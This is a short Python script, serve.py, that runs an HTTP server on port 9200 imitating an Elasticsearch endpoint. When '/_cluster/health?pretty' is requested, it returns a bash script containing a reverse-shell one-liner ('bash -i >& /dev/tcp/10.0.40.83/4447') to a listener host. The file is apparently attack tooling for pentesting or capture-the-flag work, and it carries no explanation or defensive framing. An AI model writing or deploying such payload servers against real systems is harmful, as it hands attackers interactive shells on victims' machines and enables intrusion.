serve.py

from http.server import HTTPServer, BaseHTTPRequestHandler

class MyHandler(BaseHTTPRequestHandler):
    def do_GET(self):
        if self.path == '/_cluster/health?pretty':
            self.send_response(200)
            self.send_header('Content-Type', 'text/plain')
            self.end_headers()

            resp = b"""#!/bin/bash
bash -i >& /dev/tcp/10.0.40.83/4447 0>&1
"""
            self.wfile.write(resp)
        else:
            self.send_response(404)
            self.send_header('Content-Type', 'text/plain')
            self.end_headers()
            self.wfile.write(b"Not Found")

if __name__ == '__main__':
    server = HTTPServer(('0.0.0.0', 9200), MyHandler)
    print("Server running on http://0.0.0.0:9200")
    server.serve_forever()